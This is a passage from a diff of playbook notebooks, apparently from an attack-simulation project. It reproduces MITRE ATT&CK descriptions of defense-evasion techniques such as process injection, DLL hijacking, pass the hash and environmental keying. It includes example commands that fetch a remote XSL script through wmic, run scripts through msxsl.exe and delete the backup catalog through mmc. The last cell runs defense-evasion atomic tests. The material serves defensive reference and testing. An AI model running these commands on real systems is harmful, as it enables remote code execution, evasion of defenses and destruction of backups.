Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1622 | Debugger Evasion | Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would \u201cswallow\u201d or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as OutputDebugStringW().(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)\nT1036.006 | Space after Filename | Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\nT1550.002 | Pass the Hash | Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)\nT1574.002 | DLL Side-Loading | Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)\nT1055.008 | Ptrace System Calls | Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1027.007 | Dynamic API Resolution | Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various [Native API](https://attack.mitre.org/techniques/T1106) functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.\n\nAPI functions called by malware may leave static artifacts such as strings in payload files. Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.(Citation: Huntress API Hash)(Citation: IRED API Hashing)\n\nTo avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities. Similar to [Software Packing](https://attack.mitre.org/techniques/T1027/002), dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime.\n\nVarious methods may be used to obfuscate malware calls to API functions. For example, hashes of function names are commonly stored in malware in lieu of literal strings. Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as `GetProcAddress()` and `LoadLibrary()`. These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) during execution).(Citation: BlackHat API Packers)(Citation: Drakonia HInvoke)(Citation: Huntress API Hash)\nT1055.015 | ListPlanting | Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.\nT1484 | Domain Policy Modification | Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.\n\nWith sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n\nAdversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.\nT1220 | XSL Script Processing | Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* msxsl.exe customers[.]xml script[.]xsl\n* msxsl.exe script[.]xsl script[.]xsl\n* msxsl.exe script[.]jpeg script[.]jpeg\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: wmic process list /FORMAT:evil[.]xsl\n* Remote File: wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d\nT1564.001 | Hidden Files and Directories | Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \u2013a for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.\nT1578.001 | Create Snapshot | An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)\nT1550.001 | Application Access Token | Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured \u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user\u2019s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\nT1078.004 | Cloud Accounts | Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud or be hybrid joined between on-premises systems and the cloud through federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments.\n\nAn adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. \n\nT1480.001 | Environmental Keying | Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.\nT1564.004 | NTFS File Attributes | Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)\nT1055.001 | Dynamic-link Library Injection | Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1556 | Modify Authentication Process | Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.\nT1216 | System Script Proxy Execution | Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)\nT1556.004 | Network Device Authentication | Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)\nT1574.004 | Dylib Hijacking | Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)\nT1601.002 | Downgrade System Image | Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001). \nT1078.003 | Local Accounts | Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. \nT1211 | Exploitation for Defense Evasion | Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.\n\nThere have also been examples of vulnerabilities in public cloud infrastructure of SaaS applications that may bypass defense boundaries (Citation: Salesforce zero-day in facebook phishing attack), evade security logs (Citation: Bypassing CloudTrail in AWS Service Catalog), or deploy hidden infrastructure.(Citation: GhostToken GCP flaw)\nT1127 | Trusted Developer Utilities Proxy Execution | Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.\nT1218.014 | MMC | Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, mmc C:\\Users\\foo\\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the \u201cLink to Web Address\u201d snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\\path\\to\\test.msc.(Citation: abusing_com_reg)\nT1564.010 | Process Argument Spoofing | Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)\n\nAdversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) WriteProcessMemory() function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)\n\nThis behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.\nT1574.012 | COR_PROFILER | Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)" }, { "cell_type": "code", "execution_count": null, - "id": "ff66fb57", + "id": "d7dd6718", "metadata": {}, "outputs": [], "source": "#Invoke-AtomicTest-By can be downloaded from https://github.com/cyberbuff/ART-Utils/\nInvoke-AtomicTest-By -Tactic defense-evasion" @@ -18,13 +18,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1006.ipynb b/playbook/tactics/defense-evasion/T1006.ipynb index 08153d84..b1bf4507 100644 --- a/playbook/tactics/defense-evasion/T1006.ipynb +++ b/playbook/tactics/defense-evasion/T1006.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "f41a8c26", + "id": "892be4e7", "metadata": {}, - "source": "# T1006 - Direct Volume Access\nAdversaries may directly access a volume to bypass file access controls and file system monitoring. Windows 